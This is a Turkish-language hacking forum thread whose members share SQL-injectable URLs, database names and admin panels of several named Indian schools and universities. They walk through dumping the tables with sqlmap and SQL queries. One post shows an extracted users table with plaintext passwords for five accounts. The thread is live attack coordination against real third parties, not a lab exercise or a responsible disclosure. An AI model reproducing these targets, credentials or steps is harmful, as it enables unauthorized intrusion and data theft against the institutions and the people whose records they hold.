5x SQL açıklı Site + DB İsimleri, Admin Panelleri

[Askeladd]

Umarım İşinize Yarar
(NOT:Yeniler için eğitim amaçlıdır şifreleri kırmaya çalışmakla uğraşmayın veriler hashlı)

https://www.avantikauniversity.edu.in/faculty-details.php?id=18
database:qozazamy_avantikadb
admin panel

https://hcst.edu.in/iframe/fullprofile.php?id=49
database:hcstedu_consultant
admin panel username:admin

http://nsrit.edu.in/news.php?id=12
database:nsrit
admin panel

https://khalsacollege.edu.in/iqac.php?id=2
database:pannuuq6_khalsa
admin panel

http://kvmschool.edu.in/media_gallery_details.php?id=32
database:kvmschooledu_ludhiana

 

[BlackPion]

Eline sağlık, admin passwordleri veya kullanıcı verileri hashli ise uğraşmaya değmez bence. (Hashi kırmaya uğraşmaya değmez. Hashler kırılamıyor eğer birde salt değeri kullanan bir algoritma ise geçmiş olsun )

 

[ricardie]

Biraz eskide kalmadı mı?

 

[Askeladd]

Biraz eskide kalmadı mı?

yeniler için faydalı olabilir.

 

[HASACA]

+-------------------------+
| avantika_connect |
| blogs_dynamic |
| newsletter_subscription |
| regfaculty |
| tbl_amenities |
| tbl_annualreport |
| tbl_awards_achievements |
| tbl_blog_comment |
| tbl_bulletin |
| tbl_bus_route |
| tbl_cities |
| tbl_clubs |
| tbl_collaborations |
| tbl_countries |
| tbl_course |
| tbl_cultural_events |
| tbl_enquiry |
| tbl_events |
| tbl_fablab |
| tbl_faq |
| tbl_flagship_events |
| tbl_governance |
| tbl_guest_faculty |
| tbl_labs_studios |
| tbl_learning_spaces |
| tbl_outreach |
| tbl_placements |
| tbl_projects |
| tbl_seo |
| tbl_sportsfitness |
| tbl_statutory_documents |
| tbl_student_council |
| tbl_studenthandbook |
| tbl_students_24 |
| tbl_technology |
| tbl_testimonial |
| tbl_travellingaround |
| tbl_users |
| tbl_visiting_faculty |
| tbl_why_avantika |
| tbl_workshop |
+-------------------------+


ADMİN NEREDEDİR ?

 

[HASACA]

+----------+--------------+
| Column | Type |
+----------+--------------+
| role | varchar(25) |
| status | int(5) |
| email | varchar(155) |
| id | int(5) |
| password | varchar(155) |
+----------+--------------+


tek kullanıcıkıya benziyor


HANGİ KOMUT İLE KIRABİLİRİM ŞİFRELERİ

 

[BlackPion]

+-------------------------+
| avantika_connect |
| blogs_dynamic |
| newsletter_subscription |
| regfaculty |
| tbl_amenities |
| tbl_annualreport |
| tbl_awards_achievements |
| tbl_blog_comment |
| tbl_bulletin |
| tbl_bus_route |
| tbl_cities |
| tbl_clubs |
| tbl_collaborations |
| tbl_countries |
| tbl_course |
| tbl_cultural_events |
| tbl_enquiry |
| tbl_events |
| tbl_fablab |
| tbl_faq |
| tbl_flagship_events |
| tbl_governance |
| tbl_guest_faculty |
| tbl_labs_studios |
| tbl_learning_spaces |
| tbl_outreach |
| tbl_placements |
| tbl_projects |
| tbl_seo |
| tbl_sportsfitness |
| tbl_statutory_documents |
| tbl_student_council |
| tbl_studenthandbook |
| tbl_students_24 |
| tbl_technology |
| tbl_testimonial |
| tbl_travellingaround |
| tbl_users |
| tbl_visiting_faculty |
| tbl_why_avantika |
| tbl_workshop |
+-------------------------+


ADMİN NEREDEDİR ?

tbl_users admin de dahil olmak üzere kullanıcı verileri burada depolanır.

+----------+--------------+
| Column | Type |
+----------+--------------+
| role | varchar(25) |
| status | int(5) |
| email | varchar(155) |
| id | int(5) |
| password | varchar(155) |
+----------+--------------+


tek kullanıcıkıya benziyor


HANGİ KOMUT İLE KIRABİLİRİM ŞİFRELERİ

Kırmak derken tam açıklayabilir misin?

 

[HASACA]

tbl_users admin de dahil olmak üzere kullanıcı verileri burada depolanır.

Kırmak derken tam açıklayabilir mismesela

varchar yazıyor ya onu md5 ve benzeri şekilde görmek istiypum


şimdi --common-columns denedim

 

[BlackPion]

varchar yazıyor ya onu md5 ve benzeri şekilde görmek istiypum


şimdi --common-columns denedim

varchar sql de küçük ve orta halli veri depolamak için kullanılır parantez içerisinde ki sayı da kaç karakter girebileceğimizi belirler. Senin odaklanman gereken kısım önünde ki password kısmı.

Sqlmape pek hakim değilim daha doğrusu unuttum. Orada yardımcı olamayacağım maalesef.

 

[DevAlper]

varchar yazıyor ya onu md5 ve benzeri şekilde görmek istiypum


şimdi --common-columns denedim

SQL komudu execute etmen lazım.
Komut şöyle bir şey olmalı:
SELECT * FROM tbl_users

 

[Askeladd]

+-------------------------+
| avantika_connect |
| blogs_dynamic |
| newsletter_subscription |
| regfaculty |
| tbl_amenities |
| tbl_annualreport |
| tbl_awards_achievements |
| tbl_blog_comment |
| tbl_bulletin |
| tbl_bus_route |
| tbl_cities |
| tbl_clubs |
| tbl_collaborations |
| tbl_countries |
| tbl_course |
| tbl_cultural_events |
| tbl_enquiry |
| tbl_events |
| tbl_fablab |
| tbl_faq |
| tbl_flagship_events |
| tbl_governance |
| tbl_guest_faculty |
| tbl_labs_studios |
| tbl_learning_spaces |
| tbl_outreach |
| tbl_placements |
| tbl_projects |
| tbl_seo |
| tbl_sportsfitness |
| tbl_statutory_documents |
| tbl_student_council |
| tbl_studenthandbook |
| tbl_students_24 |
| tbl_technology |
| tbl_testimonial |
| tbl_travellingaround |
| tbl_users |
| tbl_visiting_faculty |
| tbl_why_avantika |
| tbl_workshop |
+-------------------------+


ADMİN NEREDEDİR ?

tbl_users

 

[BlackPion]

SQL komudu execute etmen lazım.
Komut şöyle bir şey olmalı:
SELECT * FROM tbl_users

Manuel de yapılabilir evet daha sağlıklı olur hatta sql mantığı kafanda oturur en azından. Arkadaşın da dediği gibi SELECT username,password FROM tbl_users gibi.

 

[sessizejder]

Inurl php?id ile herkesin bulabileceği siteler ama Yinede sağol

 

[HASACA]

Inurl php?id ile herkesin bulabileceği siteler ama Yinede sağol

o dorkta hep aynı siteler çıkıyor

o yüzden iyi

 

[sessizejder]

iyi?

 

[tkh]

admin panelleri de paylaşılmış olsa efsane olurmuş

 

[Askeladd]

admin panelleri de paylaşılmış olsa efsane olurmuş

ekledim şimdi

 

[HASACA]

+----+--------------------------------------+---------------+----------+------------+
| id | email | role | status | password |
+----+--------------------------------------+---------------+----------+------------+
| 1 | [email protected] | <blank> | 1 | Custom#123 |
| 2 | [email protected] | <blank> | 1 | 123456 |
| 3 | [email protected] | <blank> | 1 | 123456 |
| 4 | [email protected] | <blank> | 1 | Mohit#123 |
| 5 | [email protected] | contentwriter | 1 | @lybanerG# |
+----+--------------------------------------+---------------+----------+------------+







yaw --dump yazınca çıktı ;(

 

[HASACA]

admin panelini bulamadım bulursanız atarsınız

 

[Askeladd]

admin panelini bulamadım bulursanız atarsınız

konuyu güncelledim admin panellerini ekledim 4ünün